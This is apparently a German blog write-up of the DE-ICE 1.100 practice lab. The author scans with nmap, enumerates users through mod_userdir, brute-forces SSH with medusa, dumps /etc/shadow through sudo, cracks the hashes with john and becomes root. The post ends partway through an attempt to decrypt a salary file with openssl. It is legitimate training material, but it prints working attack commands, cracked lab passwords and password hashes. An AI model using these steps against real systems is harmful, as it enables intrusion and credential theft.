Wieder einmal plagt mich der Spieltrieb und wieder einmal muss eine der Herot.net CDs dafür herhalten. Mangels alternative geht es heute an die DE-ICE1.100. Also erst einmal fleißig das Lab hochfahren, IP Adresse für meinen Labtop mit Kali Linux vergeben und schon kann der Spaß beginnen. Schauen wir uns doch zuerst einmal an was sich da so alles im Netzwerk tummelt.
root@brecht-lab:/home/brechthold/pentest/de-ice1.100# nmap -A 192.168.1.1/24 -oN de-ice1.100.nmap -oX de-ice1.100.xnmap -oG de-ice1.100.gnmap Starting Nmap 6.25 ( http://nmap.org ) at 2013-04-11 18:57 CEST Nmap scan report for 192.168.1.1 Host is up (0.0038s latency). All 1000 scanned ports on 192.168.1.1 are filtered MAC Address: 8C:89:A5:83:A8:14 (Micro-Star INT'L CO.) Too many fingerprints match this host to give specific OS details Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 3.83 ms 192.168.1.1 Nmap scan report for 192.168.1.20 Host is up (0.000047s latency). Not shown: 999 closed ports PORT STATE SERVICE VERSION 8010/tcp open xmpp? No exact OS matches for host (If you know what OS is running on it, see http://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=6.25%E=4%D=4/11%OT=8010%CT=1%CU=36233%PV=Y%DS=0%DC=L%G=Y%TM=5166E OS:BC0%P=i686-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10E%TI=Z%CI=Z%II=I%TS=8)OPS OS:(O1=MFFD7ST11NW7%O2=MFFD7ST11NW7%O3=MFFD7NNT11NW7%O4=MFFD7ST11NW7%O5=MFF OS:D7ST11NW7%O6=MFFD7ST11)WIN(W1=AAAA%W2=AAAA%W3=AAAA%W4=AAAA%W5=AAAA%W6=AA OS:AA)ECN(R=Y%DF=Y%T=40%W=AAAA%O=MFFD7NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A OS:=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0% OS:Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S= OS:A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R= OS:Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N% OS:T=40%CD=S) Network Distance: 0 hops Nmap scan report for 192.168.1.100 Host is up (0.0095s latency). Not shown: 992 filtered ports PORT STATE SERVICE VERSION 20/tcp closed ftp-data 21/tcp open ftp vsftpd (broken: could not bind listening IPv4 socket) 22/tcp open ssh OpenSSH 4.3 (protocol 1.99) |_ssh-hostkey: ERROR: Script execution failed (use -d to debug) |_sshv1: Server supports SSHv1 25/tcp open smtp Sendmail 8.13.7/8.13.7 | smtp-commands: slax.example.net Hello [192.168.1.20], pleased to meet you, ENHANCEDSTATUSCODES, PIPELINING, 8BITMIME, SIZE, DSN, ETRN, AUTH DIGEST-MD5 CRAM-MD5, DELIVERBY, HELP, |_ 2.0.0 This is sendmail version 8.13.7 2.0.0 Topics: 2.0.0 HELO EHLO MAIL RCPT DATA 2.0.0 RSET NOOP QUIT HELP VRFY 2.0.0 EXPN VERB ETRN DSN AUTH 2.0.0 STARTTLS 2.0.0 For more info use "HELP ". 2.0.0 To report bugs in the implementation see 2.0.0 http://www.sendmail.org/email-addresses.html 2.0.0 For local information send email to Postmaster at your site. 2.0.0 End of HELP info 80/tcp open http Apache httpd 2.0.55 ((Unix) PHP/5.1.2) |_http-methods: No Allow or Public header in OPTIONS response (status code 200) |_http-title: Site doesn't have a title (text/html). 110/tcp open pop3 Openwall popa3d 143/tcp open imap UW imapd 2004.357 |_imap-capabilities: STARTTLS completed IMAP4REV1 MAILBOX-REFERRALS THREAD=REFERENCES THREAD=ORDEREDSUBJECT IDLE LITERAL+ SCAN CAPABILITY UNSELECT OK LOGIN-REFERRALS BINARY AUTH=LOGINA0001 SASL-IR MULTIAPPEND NAMESPACE SORT 443/tcp closed https MAC Address: 52:54:00:FD:F0:0A (QEMU Virtual NIC) Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:linux_kernel:2.6 OS details: Linux 2.6.13 - 2.6.32 Network Distance: 1 hop Service Info: Host: slax.example.net; OS: Unix TRACEROUTE HOP RTT ADDRESS 1 9.51 ms 192.168.1.100 OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 256 IP addresses (3 hosts up) scanned in 75.41 seconds
Klingt doch für den Anfang mal gar nicht so übel. Wir haben da jetzt also folgende Hosts online:
- 192.168.1.1 Unser Gateway – Interessiert uns jetzt in diesem Test mal vorläufig nicht
- 192.168.1.20 Mein Labtop mit Kali-linux
- 192.168.1.100 Unser Target
An unserem Zielsystem ist wie man es von der DE-ICE Reihe gewohnt ist Port 80 offen also Browser auf und prüfen was die Webseite so hergibt.
Bevor ich mich auf die eigentliche Webseite stürze klicke ich noch einmal kurz bei der Intro Seite der DE-ICE CD vorbei um mir noch einmal den Schwirigkeitsgrad anzusehen.
Schwirigkeit: leicht, Zeitvorgabe:45 Minuten
Klingt doch jetzt gar nicht einmal so schlecht, ich befürchte allerdings das da heute mit nebenher bloggen die Zeitvorgabe etwas überschritten wird, so ganz nebenbei ist mein Ziel heute ja nicht wirklich diese Challange zu knacken sondern mich ein wenig durch die Kali-Linux Tools zu wühlen. Also auf ins Gefecht.
Da mein Tag gerade eh nicht so der beste ist (Bewerbungsgespräch als Windows2008 Admin, wüüürg!!!) nehme ich jetzt an dieser Stelle direkt einmal den Holzhammer anstatt mich vorsichtig heranzutasten. Der erste Plan ist also „Wir haben einen Webserver, schauen wir mal was da noch so drauf liegt!“. Wir brauchen ein Tool das uns da mal die üblichen Verzeichnisse checkt. Was hat den Kali da so im Angebot. Ein kurzer blick ins Menü zeigt mir das die Oldies doch noch nicht so ganz veraltet sind. Der gute alte Dirbuster ist in Kali-Linux immernoch enthalten.
Es dauerte ein wenig bis ich es ohne das /Pentest verzeichnis geschafft hatte das passende Dictionary zu finden doch am Ende lag es genau da wo man es eigentlich vermuten würde. In /usr/share/dirbuster/wordlists , manchmal kann das Leben doch so einfach sein. Also lassen wir das Teil einmal seine Arbeit tun und schön viele Logs auf den Server schreiben 😉
Scheint ich müsste mir das mit der Zeitvorgabe noch einmal ernsthaft durch den Kopf gehen lassen, aber was solls man will ja gründlich sein.
Während Dirbuster sich also durch die Verzeichnisse arbeitet gehe ich mir jetzt erstmal gemütlich etwas zu Essen und ein wenig Nervennahrung besorgen, bis ich wieder da bin sollte sich da dann was getan haben.
Nach einer reichhaltigen Mahlzeit und einem ordentlichen Kaffee war dann auch Dirbuster mit seinem Lauf durch. Schauen wir mal was er uns zu sagen hat.
DirBuster 1.0-RC1 - Report http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project Report produced on Thu Apr 11 20:30:32 CEST 2013 -------------------------------- http://192.168.1.100:80 -------------------------------- Directories found during testing: Dirs found with a 200 response: / /icons/ /icons/small/ Dirs found with a 403 response: /cgi-bin/ -------------------------------- Files found during testing: Files found with a 200 responce: /index.php /level.php /copyright.txt /index2.php /info.php --------------------------------
Na immerhin war der Einsatz von Dirbuster nicht ganz umsonst. 2 neue Dateien sind uns immerhin in die Hände gefallen, einmal die copyright.php die so exakt gar nichts mit unserem Spielchen hier zu tun hat.
Zum anderen eine info.php Datei, wie der Name schon vermuten lässt versteckt sich darin ein phpinfo() Kommando. Immerhin wissen wir jetzt mit welchen Apache und PHP Versionen und welchen Plugins wir es zu tun haben.
Die info.php ist jetzt auch nicht so wirklich der heilige Gral, bis ich in den Apache2 plugins einen alten Freund entdecke. Bei dem Apache Webserver ist mod_userdir installiert, damit sollte sich doch zumindest einmal abklären lassen welche Benutzer auf dem System vorhanden sind.
Bis jetzt haben wir also einen Haufen Zeit darauf verschwendet dinge zu erfahren die uns nicht wirklich weiter gebracht haben. Es wird Zeit noch ein paar Gänge höher zu schalten. Schauen wir also noch einmal auf die Webseite der „No Security Corp“ und besorgen uns eine Liste von potentiellen Benutzernamen. Nehmen wir uns zunächst einmal die Emailadressen vor:
marym@herot.net patrickp@herot.net thompsont@herot.net benedictb@herot.net genniege@herot.net michaelp@herot.net longe@herot.net adamsa@herot.net banterb@herot.net coffeec@herot.net
Das ist dann erstmal eine liste von potentiellen Emailaccounts die auf diesem Server existieren. Fügen wir doch einfach einmal auf verdacht Charlie „O“, den CEO, hinzu. Dessen Emailadresse ist zwar nicht auf der Webseite gelistet aber mit dem Namen hätten wir ja erst einmal alles was wir brauchen. Wir fügen also charlieo@herot.net zu unserer Liste hinzu.Daraus ergibt sich dann eine ganz nette Liste an Usernamen die wir durchtesten können. Da auf diesem Server auch irgendwann einmal ein FTP-Server installiert war fügen wir noch den User ftp hinzu, nur für alle Fälle. Unsere Liste sieht also jetzt so aus:
marym patrickp thompsont benedictb genniege michaelp longe adamsa banterb coffeec charlieo ftp
Damit sollte sich doch etwas anfangen lassen. Um das jetzt gegen den mod_userdir zu testen fügen wir doch einfach vor jedem Benutzernamen ein „~“ hinzu und testen die Liste gegen den Server. Da ich von Dirbuster inzwischen leicht angenervt bin, aufgrund der Zeit die es mich gekostet hat, versuchen wir es diesmal mit dirb. Schauen wir uns einmal das Ergebnis an:
root@brecht-lab:/home/brechthold/pentest/de-ice1.100# cat users.txt ~marym ~patrickp ~thompsont ~benedictb ~genniege ~michaelp ~longe ~adamsa ~banterb ~coffeec ~charlieo ~ftproot@brecht-lab:/home/brechthold/pentest/de-ice1.100# dirb http://192.168.1.100/ users.txt ----------------- DIRB v2.03 By The Dark Raver ----------------- START_TIME: Fri Apr 12 08:16:54 2013 URL_BASE: http://192.168.1.100/ WORDLIST_FILES: users.txt ----------------- GENERATED WORDS: 11 ---- Scanning URL: http://192.168.1.100/ ---- + http://192.168.1.100/~ftp (FOUND: 403 [Forbidden] - Size: 412) ----------------- DOWNLOADED: 11 - FOUND: 1
Also schon wieder Fehlanzeige, na immerhin funktioniert mod_userdir. Warum ist aber keiner der Benutzernamen auf dem System vorhanden? Heute ist wirklich nicht mein Tag. Also erweitern wir einmal unsere Users.txt um ein paar mehr Variationen der Usernamen.
Für den Moment sieht das dann so aus:
~marym ~patrickp ~thompsont ~benedictb ~genniege ~michaelp ~longe ~adamsa ~banterb ~coffeec ~charlieo ~ftp ~mmary ~ppatrick ~tthompson ~bbenedict ~egennieg ~pmichael ~elong ~aadams ~bbanter ~ccoffee ~ocharlie ~marie.mary ~pat.patrick ~terry.thompson ~ben.benedict ~erin.gennieg ~paul.michael ~ester.long ~adam.adams ~bob.banter ~chad.coffee ~mary.marie ~patrick.pat ~thompson.terry ~benedict.ben ~gennieg.erin ~michael.paul ~long.ester ~adams.adam ~banter.bob ~coffee.chad
Na dann auf ein neues, dirb wartet schon auf seinen erneuten Einsatz. Was die Zeitvorgabe angeht sind wir mittlerweile über 2 Stunden drüber und haben noch nicht einmal einen Account auf der Kiste. Weshalb ich dann ab jetzt die Zeitvorgabe besser nicht mehr erwähnen werde.
root@brecht-lab:/home/brechthold/pentest/de-ice1.100# dirb http://192.168.1.100/ users.txt ----------------- DIRB v2.03 By The Dark Raver ----------------- START_TIME: Fri Apr 12 08:51:48 2013 URL_BASE: http://192.168.1.100/ WORDLIST_FILES: users.txt ----------------- GENERATED WORDS: 43 ---- Scanning URL: http://192.168.1.100/ ---- + http://192.168.1.100/~ftp (FOUND: 403 [Forbidden] - Size: 412) + http://192.168.1.100/~aadams (FOUND: 403 [Forbidden] - Size: 415) + http://192.168.1.100/~bbanter (FOUND: 403 [Forbidden] - Size: 416) + http://192.168.1.100/~ccoffee (FOUND: 403 [Forbidden] - Size: 416) ----------------- DOWNLOADED: 43 - FOUND: 4
Wow, endlich einmal ein wenig Glück am heutigen Tag. Wir haben 3 Useraccounts und den FTPaccount identifiziert. Das sieht ja schon ganz gut aus, Was jetzt?
Na laut nmap haben wir da noch ein paar Dinge zur Auswahl. Zur Erinnerung hier nochmal die Ausgabe von nmap in kurzform:
Nmap scan report for 192.168.1.100 Host is up (0.0095s latency). Not shown: 992 filtered ports PORT STATE SERVICE VERSION 20/tcp closed ftp-data 21/tcp open ftp vsftpd (broken: could not bind listening IPv4 socket) 22/tcp open ssh OpenSSH 4.3 (protocol 1.99) |_ssh-hostkey: ERROR: Script execution failed (use -d to debug) |_sshv1: Server supports SSHv1 25/tcp open smtp Sendmail 8.13.7/8.13.7 | smtp-commands: slax.example.net Hello [192.168.1.20], pleased to meet you, ENHANCEDSTATUSCODES, PIPELINING, 8BITMIME, SIZE, DSN, ETRN, AUTH DIGEST-MD5 CRAM-MD5, DELIVERBY, HELP, |_ 2.0.0 This is sendmail version 8.13.7 2.0.0 Topics: 2.0.0 HELO EHLO MAIL RCPT DATA 2.0.0 RSET NOOP QUIT HELP VRFY 2.0.0 EXPN VERB ETRN DSN AUTH 2.0.0 STARTTLS 2.0.0 For more info use "HELP ". 2.0.0 To report bugs in the implementation see 2.0.0 http://www.sendmail.org/email-addresses.html 2.0.0 For local information send email to Postmaster at your site. 2.0.0 End of HELP info 80/tcp open http Apache httpd 2.0.55 ((Unix) PHP/5.1.2) |_http-methods: No Allow or Public header in OPTIONS response (status code 200) |_http-title: Site doesn't have a title (text/html). 110/tcp open pop3 Openwall popa3d 143/tcp open imap UW imapd 2004.357 |_imap-capabilities: STARTTLS completed IMAP4REV1 MAILBOX-REFERRALS THREAD=REFERENCES THREAD=ORDEREDSUBJECT IDLE LITERAL+ SCAN CAPABILITY UNSELECT OK LOGIN-REFERRALS BINARY AUTH=LOGINA0001 SASL-IR MULTIAPPEND NAMESPACE SORT 443/tcp closed https MAC Address: 52:54:00:FD:F0:0A (QEMU Virtual NIC) Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:linux_kernel:2.6 OS details: Linux 2.6.13 - 2.6.32 Network Distance: 1 hop Service Info: Host: slax.example.net; OS: Unix
Es stehen uns also noch Imap,Pop3 (Was wahrscheinlich beides mit den Emailaccounts funktioniert hätte), einen FTP der nicht funktioniert und natürlich SSH. Letzteres dürfte zwar aufgrund der Verschlüsselung am längsten dauern aber ich will jetzt endlich eine Shell. SSH soll es also sein, dafür sollte sich doch das ein oder andere Tool finden lassen.
Fürs erste entscheide ich mich für medusa, welches mir in der Vergangenheit schon mehrmals gute Dienste geleistet hat. Was die benötigte Passwortliste angeht so hält Kali Linux die Rockyou.txt bereit. Ich würde zwar meine eigene Liste bevorzugen doch heute bleiben wir einmal bei den Bordmitteln. Wir wollen also mit dieser Benutzerliste:
aadams bbanter ccoffee ftp root
und der rockyou.txt auf ssh losgehen. Der passende Befehl sieht dann so aus:
medusa -h 192.168.1.100 -U users.txt -P /usr/share/wordlists/rockyou.txt -e ns -M ssh -O medusa.txt
-h 192.168.1.100 – steht hierbei für den Host den wir „testen“ wollen
-U users.txt – steht für die Datei die die Benutzernamen enthält.
-P /usr/share/wordlists/rockyou.txt – steht für die Passwortdatei die wir verwenden wollen.
-e ns – sorgt dafür das auch Benutzername=Passwort und leere Passwörter getestet werden.
-M ssh -steht für das Medusamodul das wir verwenden wollen.
In der Theorie sollte da jetzt also demnächst ein Account für uns zur Verfügung stehen, bis es soweit ist dauert es allerdings wieder eine Weile. Also geht es für mich jetzt ersteinmal wieder auf zum Kaffee besorgen bis sich da etwas tut.
Nach meiner Kaffee besorgung stelle ich fest auf was ich mich da eingelassen habe. Ich habe gerade ein Programm dazu veranlasst 14344393 Passwörter gegen 5 Benutzerkonten zu Testen. Das könnte diesmal wirklich etwas länger dauern.
Stand nach inzwischen 2 Stunden mit Medusa:
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: ccoffee (3 of 5, 2 complete) Password: del123 (160715 of 14344393 complete)
Wie war das noch gleich mit der Zeitvorgabe von 45 Minuten? Ich schätze aktuell mal eher auf 6-8 Stunden Arbeitszeit bis ich das Ding komplett habe was wahrscheinlich daran liegt das ich hier immer gleich die Monster an Dictionarys auffahre. Gründlichkeit hat halt ihren Preis 😉 Was macht man eigentlich während solcher Wartezeiten? News lesen, Kaffee besorgen, essen und schlafen so sieht zumindest meine Ablenkung gerade aus. Während medusa im Hintergrund jetzt noch ein wenig vor sich hin arbeitet schauen wir doch mal was sich in der Textdatei so tut die medusa als output verwendet. Dort sollten jetzt ja schon einmal ein paar Passwörter stehen mit denen wir jetzt fürs erste einmal weiterarbeiten können.
Bis jetzt enthält unsere medusa.txt folgende Zeilen:
# Medusa v.2.0 # medusa -h 192.168.1.100 -U users.txt -P /usr/share/wordlists/rockyou.txt -e ns -M ssh -O medusa.txt ACCOUNT FOUND: [ssh] Host: 192.168.1.100 User: aadams Password: nostradamus [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.1.100 User: bbanter Password: bbanter [SUCCESS]
Gut, damit lässt sich jetzt wirklich arbeiten. 2te Konsole auf und endlich rauf auf die Kiste.
brechthold@brecht-lab:~$ ssh aadams@192.168.1.100 RSA key fingerprint is ab:ab:a8:ad:a2:f2:fd:c2:6f:05:99:69:40:54:ec:10. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '192.168.1.100' (RSA) to the list of known hosts. aadams@192.168.1.100's password: Linux 2.6.16. aadams@slax:~$ ls aadams@slax:~$ pwd /home/aadams aadams@slax:~$ ls -ahl total 4.0K drwxr-x--- 2 aadams users 80 Jun 29 2007 ./ drwxr-xr-x 8 root root 120 Jun 29 2007 ../ -r-xr-xr-x 1 aadams users 3.7K Jun 29 2007 .screenrc* aadams@slax:~$ screen -r There is no screen to be resumed. aadams@slax:~$ ls /home/ -ahl /bin/ls: /home/ccoffee: Permission denied /bin/ls: /home/bbanter: Permission denied total 0 drwxr-xr-x 8 root root 120 Jun 29 2007 ./ drwxr-xr-x 68 root root 240 Apr 11 16:32 ../ drwxr-x--- 3 aadams users 100 Apr 12 10:59 aadams/ drwx------ 3 root root 60 Jun 29 2007 ftp/ aadams@slax:~$ cat /etc/passwd root:x:0:0:DO NOT CHANGE PASSWORD - WILL BREAK FTP ENCRYPTION:/root:/bin/bash bin:x:1:1:bin:/bin: daemon:x:2:2:daemon:/sbin: adm:x:3:4:adm:/var/log: lp:x:4:7:lp:/var/spool/lpd: sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/: news:x:9:13:news:/usr/lib/news: uucp:x:10:14:uucp:/var/spool/uucppublic: operator:x:11:0:operator:/root:/bin/bash games:x:12:100:games:/usr/games: ftp:x:14:50::/home/ftp: smmsp:x:25:25:smmsp:/var/spool/clientmqueue: mysql:x:27:27:MySQL:/var/lib/mysql:/bin/bash rpc:x:32:32:RPC portmap user:/:/bin/false sshd:x:33:33:sshd:/: gdm:x:42:42:GDM:/var/state/gdm:/bin/bash pop:x:90:90:POP:/: nobody:x:99:99:nobody:/: aadams:x:1000:10:,,,:/home/aadams:/bin/bash bbanter:x:1001:100:,,,:/home/bbanter:/bin/bash ccoffee:x:1002:100:,,,:/home/ccoffee:/bin/bash aadams@slax:~$ cat /etc/group root::0:root bin::1:root,bin,daemon daemon::2:root,bin,daemon sys::3:root,bin,adm adm::4:root,adm,daemon tty::5: disk::6:root,adm lp::7:lp mem::8: kmem::9: wheel::10:root floppy::11:root mail::12:mail news::13:news uucp::14:uucp man::15: audio::17: video::18: cdrom::19: games::20: slocate::21: utmp::22: smmsp::25:smmsp mysql::27: rpc::32: sshd::33:sshd gdm::42: shadow::43: ftp::50: pop::90:pop scanner::93: nobody::98:nobody nogroup::99: users::100: console::101:
Schön, schauen wir mal was unser User aadams so alles darf. Er ist ja immerhin Systemadministrator, irgendwelche Rechte muss er ja haben.
aadams@slax:~$ sudo /bin/bash Sorry, user aadams is not allowed to execute '/bin/bash' as root on slax. aadams@slax:~$ sudo /bin/ls aadams@slax:~$ sudo /bin/ls -ahl /home/ total 0 drwxr-xr-x 8 root root 120 Jun 29 2007 . drwxr-xr-x 68 root root 240 Apr 11 16:32 .. drwxr-x--- 3 aadams users 120 Apr 12 11:04 aadams drwxr-x--- 2 bbanter users 80 Jun 29 2007 bbanter drwxr-x--- 2 ccoffee users 80 Jun 29 2007 ccoffee drwx------ 3 root root 60 Jun 29 2007 ftp aadams@slax:~$ sudo /bin/ls -ahl /home/bbanter/ total 4.0K drwxr-x--- 2 bbanter users 80 Jun 29 2007 . drwxr-xr-x 8 root root 120 Jun 29 2007 .. -r-xr-xr-x 1 bbanter users 3.7K Jun 29 2007 .screenrc aadams@slax:~$ sudo /bin/ls -ahl /home/ccoffee/ total 4.0K drwxr-x--- 2 ccoffee users 80 Jun 29 2007 . drwxr-xr-x 8 root root 120 Jun 29 2007 .. -r-xr-xr-x 1 ccoffee users 3.7K Jun 29 2007 .screenrc aadams@slax:~$ sudo /bin/ls -ahl /root/ total 9.0K drwxr-xr-x 10 root root 244 Jul 20 2006 . drwxr-xr-x 68 root root 240 Apr 11 16:32 .. -rw----r-- 1 root root 0 Apr 3 2005 .ICEauthority -rw----r-- 1 root root 0 Apr 3 2005 .Xauthority -rw-r--r-- 1 root root 685 May 23 2005 .Xresources drwx---r-x 3 root root 22 Jul 20 2006 .config drwx---r-x 3 root root 62 Jul 20 2006 .fluxbox -rw-r--r-- 1 root root 5.2K Mar 28 2006 .fonts.cache-1 -rw-r--r-- 1 root root 516 Mar 28 2006 .fonts.conf lrwxrwxrwx 1 root root 16 Jul 20 2006 .icons -> /usr/share/icons -rw-r--r-- 1 root root 64 Jul 4 2004 .joerc drwxr-xr-x 4 root root 45 Jul 20 2006 .kde -rw----r-- 1 root root 444 Mar 28 2006 .kderc drwx---r-x 3 root root 22 Jul 20 2006 .local drwxr-xr-x 2 root root 20 Jul 20 2006 .mc drwxr--r-x 2 root root 83 Jul 20 2006 .mplayer drwxr-xr-x 2 root root 74 Jul 20 2006 .qt drwx---r-x 2 root root 63 Jul 20 2006 Desktop -rw-r--r-- 1 root root 323 May 2 2005 Set IP address
Cool, wir bekommen zwar keine Shell mit Adminrechten auf aber immerhin können wir uns mal durch die Verzeichnisse arbeiten. Eventuell geht ja auch noch etwas anderes.
aadams@slax:~$ sudo cat /etc/shadow root:$1$TOi0HE5n$j3obHaAlUdMbHQnJ4Y5Dq0:13553:0::::: bin:*:9797:0::::: daemon:*:9797:0::::: adm:*:9797:0::::: lp:*:9797:0::::: sync:*:9797:0::::: shutdown:*:9797:0::::: halt:*:9797:0::::: mail:*:9797:0::::: news:*:9797:0::::: uucp:*:9797:0::::: operator:*:9797:0::::: games:*:9797:0::::: ftp:*:9797:0::::: smmsp:*:9797:0::::: mysql:*:9797:0::::: rpc:*:9797:0::::: sshd:*:9797:0::::: gdm:*:9797:0::::: pop:*:9797:0::::: nobody:*:9797:0::::: aadams:$1$6cP/ya8m$2CNF8mE.ONyQipxlwjp8P1:13550:0:99999:7::: bbanter:$1$hl312g8m$Cf9v9OoRN062STzYiWDTh1:13550:0:99999:7::: ccoffee:$1$nsHnABm3$OHraCR9ro.idCMtEiFPPA.:13550:0:99999:7:::
Mit einem leichten grinsen im Gesicht unterbreche ich den lauf von medusa und speichere mir den Inhalt der shadow Datei auf meinem Rechner. Ab jetzt sollte es eigentlich schneller gehen. Unser alter Freund john ist jetzt wieder gefragt. vorher bereinigen wir die shadow aber erst um die Accounts deren Passwörter wir bereits haben bzw. die Accounts die gar kein Passwort besitzen. Jetzt sieht das ganze also so aus:
root@brecht-lab:/home/brechthold/pentest/de-ice1.100# cat shadow root:$1$TOi0HE5n$j3obHaAlUdMbHQnJ4Y5Dq0:13553:0::::: ccoffee:$1$nsHnABm3$OHraCR9ro.idCMtEiFPPA.:13550:0:99999:7::: root@brecht-lab:/home/brechthold/pentest/de-ice1.100# john shadow --wordlist=/usr/share/wordlists/rockyou.txt Loaded 2 password hashes with 2 different salts (FreeBSD MD5 [128/128 SSE2 intrinsics 12x])
Das sieht jetzt doch schon einmal sehr vielversprechend aus. In der Zeit in der sich john durch die Passwörter arbeitet schauen wir einmal was aadams uns sonst noch an Informationen liefern kann.
aadams@slax:~$ sudo ls /var/mail/ -ahl total 0 drwxr-xr-x 2 root root 3 Jul 20 2006 . drwxr-xr-x 12 root root 100 Apr 11 16:47 .. aadams@slax:~$ sudo ls /root/Desktop/ -ahl total 8.0K drwx---r-x 2 root root 63 Jul 20 2006 . drwxr-xr-x 10 root root 244 Jul 20 2006 .. -rw-r--r-- 1 root root 69 Mar 31 2005 .directory -rw-r--r-- 1 root root 4.4K Mar 31 2005 Home.desktop -rw-r--r-- 1 root root 2.9K Mar 31 2005 System.desktop aadams@slax:~$ sudo ls /root/ -ahl total 9.0K drwxr-xr-x 10 root root 244 Jul 20 2006 . drwxr-xr-x 68 root root 240 Apr 11 16:32 .. -rw----r-- 1 root root 0 Apr 3 2005 .ICEauthority -rw----r-- 1 root root 0 Apr 3 2005 .Xauthority -rw-r--r-- 1 root root 685 May 23 2005 .Xresources drwx---r-x 3 root root 22 Jul 20 2006 .config drwx---r-x 3 root root 62 Jul 20 2006 .fluxbox -rw-r--r-- 1 root root 5.2K Mar 28 2006 .fonts.cache-1 -rw-r--r-- 1 root root 516 Mar 28 2006 .fonts.conf lrwxrwxrwx 1 root root 16 Jul 20 2006 .icons -> /usr/share/icons -rw-r--r-- 1 root root 64 Jul 4 2004 .joerc drwxr-xr-x 4 root root 45 Jul 20 2006 .kde -rw----r-- 1 root root 444 Mar 28 2006 .kderc drwx---r-x 3 root root 22 Jul 20 2006 .local drwxr-xr-x 2 root root 20 Jul 20 2006 .mc drwxr--r-x 2 root root 83 Jul 20 2006 .mplayer drwxr-xr-x 2 root root 74 Jul 20 2006 .qt drwx---r-x 2 root root 63 Jul 20 2006 Desktop -rw-r--r-- 1 root root 323 May 2 2005 Set IP address aadams@slax:~$ sudo cat /root/Set\ IP\ address [Desktop Entry] Comment= Comment[en_US]= Encoding=UTF-8 Exec=kmdr-executor /usr/share/slax/network-conf.kmdr GenericName= GenericName[en_US]= Icon=knetattach MimeType= Name= Name[en_US]= Path= StartupNotify=true Terminal=false TerminalOptions= Type=Application X-DCOP-ServiceType= X-KDE-SubstituteUID=false X-KDE-Username=
So wirklich schön ist das ja jetzt nicht. Keine Mails, keine schönen Dateien, nichts das man wirklich verwerten könnte. Schauen wir uns doch einmal das /home/ftp/ Verzeichniss etwas genauer an. Oh, halt. John hat seine arbeit bereits getan und wirft uns folgende Ausgabe um die Ohren.
root@brecht-lab:/home/brechthold/pentest/de-ice1.100# john shadow --wordlist=/usr/share/wordlists/rockyou.txt Loaded 2 password hashes with 2 different salts (FreeBSD MD5 [128/128 SSE2 intrinsics 12x]) tarot (root) hierophant (ccoffee) guesses: 2 time: 0:00:01:48 DONE c/s: 18478 trying: hieungt - hiepthai
Das erleichtert uns jetzt natürlich ein wenig das arbeiten da wir uns fürs erste von aadams verabschieden können. Immerhin sind wir jetzt root. Jetzt müssen wir nur noch unsere Beute finden, irgendwas ordentliches muss ja auf dem Rechner zu finden sein.
aadams@slax:~$ su Password: ***** root@slax:/home/aadams# cd /home/ftp/ root@slax:/home/ftp# ls -ahl total 0 drwx------ 3 root root 60 Jun 29 2007 . drwxr-xr-x 8 root root 120 Jun 29 2007 .. dr-xr-xr-x 2 root root 80 Jun 29 2007 incoming root@slax:/home/ftp# cd incoming/ root@slax:/home/ftp/incoming# ls salary_dec2003.csv.enc root@slax:/home/ftp/incoming# ls -ahl total 140K dr-xr-xr-x 2 root root 80 Jun 29 2007 . drwx------ 3 root root 60 Jun 29 2007 .. -r-xr-xr-x 1 root root 130K Jun 29 2007 salary_dec2003.csv.enc
Ahja, also irgenwie hat es da eine Datei geschafft auf dem defekten FTP Server zu landen. Egal, machen wir das doch gleich mal auf.
root@slax:/home/ftp/incoming# cat salary_dec2003.csv.enc
Es handelt sich bei dieser Datei um eine Binärdatei und diese zerstörten Ausgaben müssen wir uns ja jetzt nicht so wirklich anschauen. Was machen wir jetzt also mit einer .enc Datei?
Nach ein wenig Suche im Internet kam ich auf 2 mögliche Lösungen. Entweder hat sich da jemand mit gpg oder mit openssl versucht.
Auf unserem Zielsystem ist zumindest kein gpg installiert also halten wir uns doch für das erste an openssl.
root@slax:/home/ftp/incoming# openssl -h openssl:Error: '-h' is an invalid command. Standard commands asn1parse ca ciphers crl crl2pkcs7 dgst dh dhparam dsa dsaparam ec ecparam enc engine errstr gendh gendsa genrsa nseq ocsp passwd pkcs12 pkcs7 pkcs8 prime rand req rsa rsautl s_client s_server s_time sess_id smime speed spkac verify version x509 Message Digest commands (see the `dgst' command for more details) md2 md4 md5 rmd160 sha sha1 Cipher commands (see the `enc' command for more details) aes-128-cbc aes-128-ecb aes-192-cbc aes-192-ecb aes-256-cbc aes-256-ecb base64 bf bf-cbc bf-cfb bf-ecb bf-ofb cast cast-cbc cast5-cbc cast5-cfb cast5-ecb cast5-ofb des des-cbc des-cfb des-ecb des-ede des-ede-cbc des-ede-cfb des-ede-ofb des-ede3 des-ede3-cbc des-ede3-cfb des-ede3-ofb des-ofb des3 desx rc2 rc2-40-cbc rc2-64-cbc rc2-cbc rc2-cfb rc2-ecb rc2-ofb rc4 rc4-40 root@slax:/home/ftp/incoming# openssl enc aes-256-cbc salary_dec2003.csv.enc unknown option 'aes-256-cbc' options are -in <file> input file -out <file> output file -pass <arg> pass phrase source -e encrypt -d decrypt -a/-base64 base64 encode/decode, depending on encryption flag -k passphrase is the next argument -kfile passphrase is the first line of the file argument -md the next argument is the md to use to create a key from a passphrase. One of md2, md5, sha or sha1 